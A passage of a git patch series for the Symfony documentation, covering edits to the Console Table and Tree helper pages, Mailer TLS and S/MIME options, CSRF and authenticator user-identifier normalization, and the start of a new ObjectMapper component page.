-    # composer config extra.symfony.require "6.*"
+    # composer config extra.symfony.require "7.*"
 
     # install Symfony Flex in the CI environment
     composer global config --no-plugins allow-plugins.symfony/flex true

From 538506c41260a974bad0131f016dc640fa4baeab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 May 2025 09:20:21 +0200
Subject: [PATCH 6952/7107] [Mercure] Explain the reason for --no-tls

---
 mercure.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index c2aa068167d..ed89fe034f7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -73,7 +73,8 @@ Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
-you must start it with the ``--no-tls`` option.
+you must start it with the ``--no-tls`` option to prevent mixed content and
+invalid TLS certificate issues:
 
 .. code-block:: terminal
 

From b4ac70183d83714e96331f1a6455f766a0ea2ca1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 May 2025 16:26:02 +0200
Subject: [PATCH 6953/7107] [Console] Update the table helper page

---
 components/console/helpers/table.rst | 99 ++++++++++++++++++----------
 1 file changed, 63 insertions(+), 36 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 9a96ebfa29e..6d48d92a98a 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -1,23 +1,11 @@
-Table
-=====
+Table Helper
+============
 
-When building a console application it may be useful to display tabular data:
-
-.. code-block:: terminal
-
-    +---------------+--------------------------+------------------+
-    | ISBN          | Title                    | Author           |
-    +---------------+--------------------------+------------------+
-    | 99921-58-10-7 | Divine Comedy            | Dante Alighieri  |
-    | 9971-5-0210-0 | A Tale of Two Cities     | Charles Dickens  |
-    | 960-425-059-0 | The Lord of the Rings    | J. R. R. Tolkien |
-    | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
-    +---------------+--------------------------+------------------+
-
-.. note::
-
-    As an alternative, consider using the
-    :ref:`SymfonyStyle <symfony-style-content>` to display a table.
+When building console applications, Symfony provides several utilities for
+rendering tabular data. The simplest option is to use the table methods from
+:ref:`Symfony Style <symfony-style-content>`. While convenient, this approach
+doesn't allow customization of the table's design. For more control and advanced
+features, use the ``Table`` console helper explained in this article.
 
 To display a table, use :class:`Symfony\\Component\\Console\\Helper\\Table`,
 set the headers, set the rows and then render the table::
@@ -48,6 +36,22 @@ set the headers, set the rows and then render the table::
         }
     }
 
+This outputs:
+
+.. code-block:: terminal
+
+    +---------------+--------------------------+------------------+
+    | ISBN          | Title                    | Author           |
+    +---------------+--------------------------+------------------+
+    | 99921-58-10-7 | Divine Comedy            | Dante Alighieri  |
+    | 9971-5-0210-0 | A Tale of Two Cities     | Charles Dickens  |
+    | 960-425-059-0 | The Lord of the Rings    | J. R. R. Tolkien |
+    | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
+    +---------------+--------------------------+------------------+
+
+Adding Table Separators
+-----------------------
+
 You can add a table separator anywhere in the output by passing an instance of
 :class:`Symfony\\Component\\Console\\Helper\\TableSeparator` as a row::
 
@@ -61,6 +65,8 @@ You can add a table separator anywhere in the output by passing an instance of
         ['80-902734-1-6', 'And Then There Were None', 'Agatha Christie'],
     ]);
 
+This outputs:
+
 .. code-block:: terminal
 
     +---------------+--------------------------+------------------+
@@ -73,6 +79,9 @@ You can add a table separator anywhere in the output by passing an instance of
     | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
     +---------------+--------------------------+------------------+
 
+Adding Table Titles
+-------------------
+
 You can optionally display titles at the top and the bottom of the table::
 
     // ...
@@ -80,6 +89,8 @@ You can optionally display titles at the top and the bottom of the table::
     $table->setFooterTitle('Page 1/2');
     $table->render();
 
+This outputs:
+
 .. code-block:: terminal
 
     +---------------+----------- Books --------+------------------+
@@ -92,6 +103,9 @@ You can optionally display titles at the top and the bottom of the table::
     | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
     +---------------+--------- Page 1/2 -------+------------------+
 
+Setting the Column Widths Explicitly
+------------------------------------
+
 By default, the width of the columns is calculated automatically based on their
 contents. Use the :method:`Symfony\\Component\\Console\\Helper\\Table::setColumnWidths`
 method to set the column widths explicitly::
@@ -114,7 +128,7 @@ argument is the column width::
     $table->setColumnWidth(2, 30);
     $table->render();
 
-The output of this command will be:
+This outputs:
 
 .. code-block:: terminal
 
@@ -141,7 +155,7 @@ If you prefer to wrap long contents in multiple rows, use the
     $table->setColumnMaxWidth(1, 10);
     $table->render();
 
-The output of this command will be:
+This outputs:
 
 .. code-block:: terminal
 
@@ -154,6 +168,9 @@ The output of this command will be:
     |                (the rest of the rows...)            |
     +-------+------------+--------------------------------+
 
+Rendering Vertical Tables
+-------------------------
+
 By default, table contents are displayed horizontally. You can change this behavior
 via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method::
 
@@ -161,7 +178,7 @@ via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method
     $table->setVertical();
     $table->render();
 
-The output of this command will be:
+This outputs:
 
 .. code-block:: terminal
 
@@ -179,17 +196,24 @@ The output of this command will be:
 
     Support for vertical rendering was introduced in Symfony 6.1.
 
+Customizing the Table Style
+---------------------------
+
 The table style can be changed to any built-in styles via
 :method:`Symfony\\Component\\Console\\Helper\\Table::setStyle`::
 
-    // same as calling nothing
+    // this 'default' style is the one used when no style is specified
     $table->setStyle('default');
 
-    // changes the default style to compact
+Built-in Table Styles
+~~~~~~~~~~~~~~~~~~~~~
+
+**Compact**::
+
     $table->setStyle('compact');
     $table->render();
 
-This code results in:
+This outputs:
 
 .. code-block:: terminal
 
@@ -199,12 +223,12 @@ This code results in:
      960-425-059-0 The Lord of the Rings    J. R. R. Tolkien
      80-902734-1-6 And Then There Were None Agatha Christie
 
-You can also set the style to ``borderless``::
+**Borderless**::
 
     $table->setStyle('borderless');
     $table->render();
 
-which outputs:
+This outputs:
 
 .. code-block:: terminal
 
@@ -217,12 +241,12 @@ which outputs:
       80-902734-1-6   And Then There Were None   Agatha Christie
      =============== ========================== ==================
 
-You can also set the style to ``box``::
+**Box**::
 
     $table->setStyle('box');
     $table->render();
 
-which outputs:
+This outputs:
 
 .. code-block:: terminal
 
@@ -235,12 +259,12 @@ which outputs:
     │ 80-902734-1-6 │ And Then There Were None │ Agatha Christie  │
     └───────────────┴──────────────────────────┴──────────────────┘
 
-You can also set the style to ``box-double``::
+**Double box**::
 
     $table->setStyle('box-double');
     $table->render();
 
-which outputs:
+This outputs:
 
 .. code-block:: terminal
 
@@ -253,7 +277,10 @@ which outputs:
     ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie  ║
     ╚═══════════════╧══════════════════════════╧══════════════════╝
 
-If the built-in styles do not fit your need, define your own::
+Making a Custom Table Style
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If the built-in styles do not fit your needs, define your own::
 
     use Symfony\Component\Console\Helper\TableStyle;
 
@@ -343,7 +370,7 @@ To make a table cell that spans multiple columns you can use a :class:`Symfony\\
     ;
     $table->render();
 
-This results in:
+This outputs:
 
 .. code-block:: terminal
 
@@ -366,7 +393,7 @@ This results in:
         ]);
         // ...
 
-    This generates:
+    This outputs:
 
     .. code-block:: terminal
 
@@ -445,7 +472,7 @@ The only requirement to append rows is that the table must be rendered inside a
         }
     }
 
-This will display the following table in the terminal:
+This outputs:
 
 .. code-block:: terminal
 
@@ -466,7 +493,7 @@ This will display the following table in the terminal:
         $table->render();
         // ...
 
-    This will display:
+    This outputs:
 
     .. code-block:: terminal
 

From 2727ddee9427ca9b35e1996ac27c891277528d0c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 May 2025 17:06:17 +0200
Subject: [PATCH 6954/7107] [Console] Update some contents of the Tree helper

---
 components/console/helpers/tree.rst | 100 ++++++++++++++++++++--------
 1 file changed, 73 insertions(+), 27 deletions(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index 1161d00e942..b5839b74a26 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -96,25 +96,51 @@ The above code will output the following tree:
     └── templates
         └── base.html.twig
 
-Building and Rendering a Tree
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Building a Tree Programmatically
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can build a tree by creating a new instance of the
-:class:`Symfony\\Component\\Console\\Helper\\Tree` class and adding nodes to it::
+If you don't know the tree elements beforehand, you can build the tree programmatically
+by creating a new instance of the :class:`Symfony\\Component\\Console\\Helper\\Tree`
+class and adding nodes to it::
 
     use Symfony\Component\Console\Helper\TreeHelper;
     use Symfony\Component\Console\Helper\TreeNode;
 
-    $node = TreeNode::fromValues([
-        'Command',
-        'Controller' => [
-            'DefaultController.php',
-        ],
-        'Kernel.php',
-    ]);
-    $node->addChild('templates');
-    $node->addChild('tests');
+    $root = new TreeNode('my-project/');
+    // you can pass a string directly or create a TreeNode object
+    $root->addChild('src/');
+    $root->addChild(new TreeNode('templates/'));
+
+    // create nested structures by adding child nodes to other nodes
+    $testsNode = new TreeNode('tests/');
+    $functionalTestsNode = new TreeNode('Functional/');
+    $testsNode->addChild($functionalTestsNode);
+    $root->addChild(testsNode);
+
+    $tree = TreeHelper::createTree($io, $root);
+    $tree->render();
+
+This example outputs:
+
+.. code-block:: terminal
 
+    my-project/
+    ├── src/
+    ├── templates/
+    └── tests/
+        └── Functional/
+
+If you prefer, you can build the array of elements programmatically and then
+create and render the tree like this::
+
+    $tree = TreeHelper::createTree($io, null, $array);
+    $tree->render();
+
+You can also build part of the tree from an array and then add other nodes::
+
+    $node = TreeNode::fromValues($array);
+    $node->addChild('templates');
+    // ...
     $tree = TreeHelper::createTree($io, $node);
     $tree->render();
 
@@ -125,15 +151,13 @@ Built-in Tree Styles
 ~~~~~~~~~~~~~~~~~~~~
 
 The tree helper provides a few built-in styles that you can use to customize the
-output of the tree::
+output of the tree.
 
-    use Symfony\Component\Console\Helper\TreeStyle;
-    // ...
+**Default**::
 
-    $tree = TreeHelper::createTree($io, $node, [], TreeStyle::compact());
-    $tree->render();
+    TreeHelper::createTree($io, $node, [], TreeStyle::default());
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::default())`` (`details`_)
+This outputs:
 
 .. code-block:: terminal
 
@@ -150,7 +174,11 @@ output of the tree::
     └── templates
        └── base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::box())`` (`details`_)
+**Box**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::box());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -167,7 +195,11 @@ output of the tree::
     ┗╸ templates
        ┗╸ base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::doubleBox())`` (`details`_)
+**Double box**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::doubleBox());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -184,7 +216,11 @@ output of the tree::
     ╚═ templates
       ╚═ base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::compact())`` (`details`_)
+**Compact**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::compact());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -201,7 +237,11 @@ output of the tree::
     └ templates
       └ base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::light())`` (`details`_)
+**Light**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::light());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -218,7 +258,11 @@ output of the tree::
     `-- templates
         `-- base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::minimal())`` (`details`_)
+**Minimal**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::minimal());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -235,7 +279,11 @@ output of the tree::
     . templates
       . base.html.twig
 
-``TreeHelper::createTree($io, $node, [], TreeStyle::rounded())`` (`details`_)
+**Rounded**::
+
+    TreeHelper::createTree($io, $node, [], TreeStyle::rounded());
+
+This outputs:
 
 .. code-block:: terminal
 
@@ -291,5 +339,3 @@ The above code will output the following tree:
     🔵 🟢 🟠 🟡 Kernel.php
     🔵 🟠 🟡 templates
     🔵 🔴 🟠 🟡 base.html.twig
-
-.. _`details`: https://github.com/symfony/symfony/blob/7.3/src/Symfony/Component/Console/Helper/TreeStyle.php

From a51f4a0fe27d05f9c1ad2f5963272d3cd3c7a73b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 May 2025 09:15:54 +0200
Subject: [PATCH 6955/7107] Minor tweaks

---
 mailer.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a562263f24c..adc5beea7ab 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1532,7 +1532,7 @@ encrypter that automatically applies to all outgoing messages:
         framework:
             mailer:
                 smime_encrypter:
-                    repository: app.my_smime_encrypter
+                    repository: App\Security\LocalFileCertificateRepository
 
     .. code-block:: xml
 
@@ -1549,7 +1549,7 @@ encrypter that automatically applies to all outgoing messages:
             <framework:config>
                 <framework:mailer>
                     <framework:smime-encrypter>
-                        <framework:repository>app.my_smime_encrypter</framework:repository>
+                        <framework:repository>App\Security\LocalFileCertificateRepository</framework:repository>
                     </framework:smime-encrypter>
                 </framework:mailer>
             </framework:config>
@@ -1558,17 +1558,20 @@ encrypter that automatically applies to all outgoing messages:
     .. code-block:: php
 
         // config/packages/mailer.php
+        use App\Security\LocalFileCertificateRepository;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
             $mailer = $framework->mailer();
             $mailer->smimeEncrypter()
-                    ->repository('app.my_smime_encrypter')
+                    ->repository(LocalFileCertificateRepository::class)
             ;
         };
 
-The ``repository`` option must be a service ID that implements
-:class:`Symfony\\Component\\Mailer\\EventListener\\SmimeCertificateRepositoryInterface`::
+The ``repository`` option is the ID of a service that implements
+:class:`Symfony\\Component\\Mailer\\EventListener\\SmimeCertificateRepositoryInterface`.
+This interface requires only one method: ``findCertificatePathFor()``, which must
+return the file path to the certificate associated with the given email address::
 
     namespace App\Security;
 
@@ -1591,7 +1594,6 @@ The ``repository`` option must be a service ID that implements
         }
     }
 
-
 .. versionadded:: 7.3
 
     Global message encryption configuration was introduced in Symfony 7.3.

From 347b1c1c5e1052249a869e599be6f430d7c44708 Mon Sep 17 00:00:00 2001
From: chris <chris@sky-scripts.de>
Date: Thu, 8 May 2025 09:16:50 +0200
Subject: [PATCH 6956/7107] Update csrf.rst

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 48e1a09ec2a..2902ab27d61 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -112,7 +112,7 @@ to do anything to be protected against CSRF attacks.
 
 .. _form-csrf-customization:
 
-By default Symfony adds the CSRF token in a hidden field called ``_token``, but
+By default Symfony adds the CSRF token in a hidden field called ``_csrf_token``, but
 this can be customized (1) globally for all forms and (2) on a form-by-form basis.
 Globally, you can configure it under the ``framework.form`` option:
 

From 55217dcd8301cd51b023fa8f049af28b6d493c50 Mon Sep 17 00:00:00 2001
From: Dan Brown <ssddanbrown@googlemail.com>
Date: Sat, 1 Mar 2025 12:16:24 +0000
Subject: [PATCH 6957/7107] [Mailer] Document `require_tls` option

---
 mailer.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index fd34a921b14..daf2c3428af 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -420,6 +420,29 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 
     This setting only works when the ``smtp://`` protocol is used.
 
+Ensure TLS
+~~~~~~~~~~
+
+You may want to ensure TLS is used, either directly or via ``STARTTLS``,
+for sending mail over SMTP regardless of other options set or SMTP server
+support. You can set TLS as required by calling ``setRequireTls(true)``
+on the ``EsmtpTransport`` instance, or by setting the ``require_tls`` option
+to ``true`` in the DSN::
+
+    $dsn = 'smtp://user:pass@10.0.0.25?require_tls=true';
+
+When TLS is set as required, a :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`
+will be thrown if a TLS connection cannot be achieved during initial communications
+with the SMTP server.
+
+.. note::
+
+    This setting only works when the ``smtp://`` protocol is used.
+
+.. versionadded:: 7.3
+
+    The ``require_tls`` option was introduced in Symfony 7.3.
+
 Binding to IPv4 or IPv6
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From 91aa72885001db55daebacfcdb56757fa41a3b8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 May 2025 10:06:47 +0200
Subject: [PATCH 6958/7107] Minor tweaks

---
 mailer.rst | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e4a26c439e3..5e38bcd1722 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -423,21 +423,20 @@ setting the ``auto_tls`` option to ``false`` in the DSN::
 Ensure TLS
 ~~~~~~~~~~
 
-You may want to ensure TLS is used, either directly or via ``STARTTLS``,
-for sending mail over SMTP regardless of other options set or SMTP server
-support. You can set TLS as required by calling ``setRequireTls(true)``
-on the ``EsmtpTransport`` instance, or by setting the ``require_tls`` option
-to ``true`` in the DSN::
+You may want to ensure that TLS is used (either directly or via ``STARTTLS``)
+when sending mail over SMTP, regardless of other options or SMTP server support.
+To require TLS, call ``setRequireTls(true)`` on the ``EsmtpTransport`` instance,
+or set the ``require_tls`` option to ``true`` in the DSN::
 
     $dsn = 'smtp://user:pass@10.0.0.25?require_tls=true';
 
-When TLS is set as required, a :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`
-will be thrown if a TLS connection cannot be achieved during initial communications
+When TLS is required, a :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`
+is thrown if a TLS connection cannot be established during the initial communication
 with the SMTP server.
 
 .. note::
 
-    This setting only works when the ``smtp://`` protocol is used.
+    This setting only applies when using the ``smtp://`` protocol.
 
 .. versionadded:: 7.3
 

From ac6a2587b2e32adf557aaccf86f040f8668d4041 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Thu, 8 May 2025 13:54:11 +0200
Subject: [PATCH 6959/7107] Introduce user identifier normalization for
 enhanced consistency

Added support for normalizing user identifiers in Symfony 7.3 to ensure consistent comparison and storage. Updated documentation with implementation examples, highlighting best practices like converting identifiers to lowercase and handling various formats. This improvement reduces the risk of duplicates and improves reliability in user authentication.
---
 security/custom_authenticator.rst | 98 ++++++++++++++++++++++++++++++-
 1 file changed, 95 insertions(+), 3 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 8b2ec9d7f34..5877194ab4e 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -209,13 +209,20 @@ requires a user and some sort of "credentials" (e.g. a password).
 Use the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge`
 to attach the user to the passport. The ``UserBadge`` requires a user
-identifier (e.g. the username or email), which is used to load the user
-using :ref:`the user provider <security-user-providers>`::
+identifier (e.g. the username or email)::
 
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 
     // ...
-    $passport = new Passport(new UserBadge($email), $credentials);
+    $passport = new Passport(new UserBadge($userIdentifier), $credentials);
+
+User Identifier
+~~~~~~~~~~~~~~~
+
+The user identifier is a unique string that identifies the user. It is used
+to load the user using :ref:`the user provider <security-user-providers>`.
+This identifier is often something like the user's email address or username,
+but it could be any unique value associated with the user.
 
 .. note::
 
@@ -255,6 +262,91 @@ using :ref:`the user provider <security-user-providers>`::
             }
         }
 
+It is a good practice to normalize the user identifier before using it.
+For example, this ensures that variations such as "john.doe", "John.Doe",
+or "JOHN.DOE" refer to the same user.
+Normalization can include converting the identifier to lowercase
+and trimming unnecessary spaces.
+You can optionally pass a user identifier normalizer as third argument to the
+``UserBadge``. This callable receives the ``$userIdentifier``
+and must return a normalized user identifier as a string.
+
+.. versionadded:: 7.3
+
+    The support of the user identifier normalizer was introduced in Symfony 7.3.
+
+For instance, the example below uses a normalizer that converts usernames to a normalized, ASCII-only, lowercase format,
+suitable for consistent comparison and storage.
+
+    // src/Security/NormalizedUserBadge.php
+    namespace App\Security;
+
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\String\UnicodeString;
+    use function Symfony\Component\String\u;
+
+    final class NormalizedUserBadge extends UserBadge
+    {
+        public function __construct(string $identifier)
+        {
+            $callback = static fn (string $identifier) => u($identifier)->normalize(UnicodeString::NFKC)->ascii()->lower()->toString();
+
+            parent::__construct($identifier, null, $callback);
+        }
+    }
+
+    // src/Security/PasswordAuthenticator.php
+    namespace App\Security;
+
+    final class PasswordAuthenticator extends AbstractLoginFormAuthenticator
+    {
+        // Simplified for brievety
+        public function authenticate(Request $request): Passport
+        {
+            $username = (string) $request->request->get('username', '');
+            $password = (string) $request->request->get('password', '');
+
+            $request->getSession()
+                ->set(SecurityRequestAttributes::LAST_USERNAME, $username);
+
+            return new Passport(
+                new NormalizedUserBadge($username),
+                new PasswordCredentials($password),
+                [
+                    //All other useful badges
+                ]
+            );
+        }
+    }
+
+.. note::
+
+    For example, Google treats the following email addresses as equivalent:
+    ``john.doe@gmail.com``, ``j.hon.d.oe@gmail.com``, and ``johndoe@gmail.com``.
+    This is because Google applies normalization rules that remove dots
+    and convert the address to lowercase (though behavior varies across services).
+
+.. note::
+
+    In enterprise environments, a user may authenticate using different formats
+    of their identifier, such as:
+
+    - ``john.doe@acme.com``
+    - ``acme.com\jdoe``
+    - ``https://acme.com/+jdoe``
+    - ``acct:jdoe@acme.com``
+
+    Applying normalization (e.g., trimming, lowercasing, or format unification)
+    helps ensure consistent identity recognition across systems and prevents
+    duplicates caused by format variations.
+
+User Credential
+~~~~~~~~~~~~~~~
+
+The user credential is used to authenticate the user i.e. to verify
+the validity of the provided information (such as a password, an API token,
+or other custom credentials).
+
 The following credential classes are supported by default:
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`

From 9ea15853923979d457e45674bc8f4ab9c3ed306f Mon Sep 17 00:00:00 2001
From: soyuka <soyuka@users.noreply.github.com>
Date: Thu, 24 Oct 2024 21:04:38 +0200
Subject: [PATCH 6960/7107] [ObjectMapper] Add component

---
 object-mapper.rst | 729 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 729 insertions(+)
 create mode 100644 object-mapper.rst

diff --git a/object-mapper.rst b/object-mapper.rst
new file mode 100644
index 00000000000..f46ab732110
--- /dev/null
+++ b/object-mapper.rst
@@ -0,0 +1,729 @@
+Object Mapper
+=============
+
+Symfony provides a mapper component to transform a given object into another one,
+simplifying tasks like converting DTOs (Data Transfer Objects) to entities or
+vice-versa. It may also be useful when decoupling API input/output from internal
+models helping with legacy code or hexagonal architectures implementations.
+
+.. versionadded:: 7.2
+
+    The ObjectMapper component is experimental. Experimental features are not
+    covered by the backward compatibility promise.
+
+Installation
+------------
+
+Run this command to install the ``object-mapper`` component before using it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/object-mapper
+
+Using the ObjectMapper
+----------------------
+
+Once installed, the object mapper service can be injected into any service or
+controller where you need it:
+
+::
+
+    // src/Controller/UserController.php
+    namespace App\Controller;
+
+    use App\Dto\UserInput;
+    use App\Entity\User;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\ObjectMapper\ObjectMapperInterface;
+
+    class UserController extends AbstractController
+    {
+        public function updateUser(UserInput $userInput, ObjectMapperInterface $objectMapper): Response
+        {
+            $user = new User();
+            // Map properties from UserInput to User
+            $objectMapper->map($userInput, $user);
+
+            // ... persist $user and return response
+            return new Response('User updated!');
+        }
+    }
+
+Basic Mapping
+-------------
+
+The core functionality is provided by the ``map()`` method. It takes a source
+object and maps its properties onto a target. The target can be either a
+class name (a new instance will be created) or an existing object instance.
+
+**Mapping to a New Object:**
+
+Provide the target class name as the second argument:
+
+::
+
+    use App\Dto\ProductInput;
+    use App\Entity\Product;
+    use Symfony\Component\ObjectMapper\ObjectMapper;
+
+    $productInput = new ProductInput();
+    $productInput->name = 'Wireless Mouse';
+    $productInput->sku = 'WM-1024';
+
+    $mapper = new ObjectMapper();
+    // Creates a new Product instance and maps properties from $productInput
+    $product = $mapper->map($productInput, Product::class);
+
+    // $product is now an instance of Product
+    // with $product->name = 'Wireless Mouse' and $product->sku = 'WM-1024'
+
+**Mapping to an Existing Object:**
+
+Provide an existing object instance as the second argument to update it:
+
+::
+
+    use App\Dto\ProductUpdateInput;
+    use App\Entity\Product;
+    use Symfony\Component\ObjectMapper\ObjectMapper;
+
+    $product = $productRepository->find(1);
+
+    $updateInput = new ProductUpdateInput();
+    $updateInput->price = 99.99;
+
+    $mapper = new ObjectMapper();
+    // Updates the existing $product instance
+    $mapper->map($updateInput, $product);
+
+    // $product->price is now 99.99
+
+**Mapping from ``stdClass``:**
+
+The source object can also be an instance of ``stdClass``:
+
+::
+
+    use App\Entity\Product;
+    use Symfony\Component\ObjectMapper\ObjectMapper;
+
+    $productData = new \stdClass();
+    $productData->name = 'Keyboard';
+    $productData->sku = 'KB-001';
+
+    $mapper = new ObjectMapper();
+    $product = $mapper->map($productData, Product::class);
+
+    // $product is an instance of Product with properties mapped from $productData
+
+Configuring Mapping with Attributes
+-----------------------------------
+
+The ObjectMapper uses PHP attributes to configure the mapping process. The
+primary attribute is :class:`Symfony\\Component\\ObjectMapper\\Attribute\\Map`.
+
+**Defining the Default Target Class:**
+
+Apply ``#[Map]`` to the source class to define its default mapping target:
+
+::
+
+    // src/Dto/ProductInput.php
+    namespace App\Dto;
+
+    use App\Entity\Product;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: Product::class)]
+    class ProductInput
+    {
+        public string $name = '';
+        public string $sku = '';
+    }
+
+    // Now you can call map() without the second argument if ProductInput is the source:
+    $mapper = new ObjectMapper();
+    $product = $mapper->map($productInput); // Maps to Product automatically
+
+**Configuring Property Mapping:**
+
+Apply ``#[Map]`` to properties to customize their mapping behavior.
+
+* ``target``: Specifies the name of the property in the target object.
+* ``source``: Specifies the name of the property in the source object (useful
+    when mapping is defined on the target, see below).
+* ``if``: Defines a condition for mapping the property.
+* ``transform``: Applies a transformation to the value before mapping.
+
+::
+
+    // src/Dto/OrderInput.php
+    namespace App\Dto;
+
+    use App\Entity\Order;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: Order::class)]
+    class OrderInput
+    {
+        // Map 'customerEmail' from source to 'email' in target
+        #[Map(target: 'email')]
+        public string $customerEmail = '';
+
+        // Do not map this property at all
+        #[Map(if: false)]
+        public string $internalNotes = '';
+
+        // Only map 'discountCode' if it's a non-empty string
+        #[Map(if: 'strlen')] // Uses the built-in strlen function as a condition
+        public ?string $discountCode = null;
+    }
+
+By default, if a property exists in the source but not in the target, it's
+ignored. If a property exists in both and has no ``#[Map]`` attribute, it's
+mapped directly if the names match.
+
+**Conditional Mapping with Services:**
+
+For complex conditions, you can use a dedicated service implementing
+:class:`Symfony\\Component\\ObjectMapper\\ConditionCallableInterface`. The service
+name (its class name by default) is passed to the ``if`` parameter:
+
+::
+
+    // src/ObjectMapper/IsShippableCondition.php
+    namespace App\ObjectMapper;
+
+    use App\Dto\OrderInput;
+    use App\Entity\Order; // Target type hint
+    use Symfony\Component\ObjectMapper\ConditionCallableInterface;
+
+    /**
+     * @implements ConditionCallableInterface<OrderInput, Order>
+     */
+    final class IsShippableCondition implements ConditionCallableInterface
+    {
+        public function __invoke(mixed $value, object $source, ?object $target): bool
+        {
+            // Example: Only map shipping address if order total is above 50
+            return $source->total > 50;
+        }
+    }
+
+::
+
+    // src/Dto/OrderInput.php
+    namespace App\Dto;
+
+    use App\Entity\Order;
+    use App\ObjectMapper\IsShippableCondition;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: Order::class)]
+    class OrderInput
+    {
+        public float $total = 0.0;
+
+        #[Map(if: IsShippableCondition::class)]
+        public ?string $shippingAddress = null;
+    }
+
+For this to work, ``IsShippableCondition`` must be registered as a service.
+
+.. _object_mapper-conditional-property-target:
+
+**Conditional Property Mapping based on Target:**
+
+When a source class can be mapped to multiple target classes, you might want
+to map a specific property only when mapping to a particular target. You can
+achieve this using the :class:`Symfony\\Component\\ObjectMapper\\Condition\\TargetClass`
+condition within the ``if`` parameter on a property's ``#[Map]`` attribute.
+
+This is useful for creating different representations (e.g., public vs. admin)
+from the same source object, offering an alternative to serialization groups.
+
+::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use App\Dto\AdminUserProfile;
+    use App\Dto\PublicUserProfile;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+    use Symfony\Component\ObjectMapper\Condition\TargetClass;
+
+    // This User entity can be mapped to two different DTOs
+    #[Map(target: PublicUserProfile::class)]
+    #[Map(target: AdminUserProfile::class)]
+    class User
+    {
+        // Map 'lastLoginIp' to 'ipAddress' ONLY when the target is AdminUserProfile
+        #[Map(target: 'ipAddress', if: new TargetClass(AdminUserProfile::class))]
+        public ?string $lastLoginIp = '192.168.1.100';
+
+        // Map 'registrationDate' to 'memberSince' for both targets
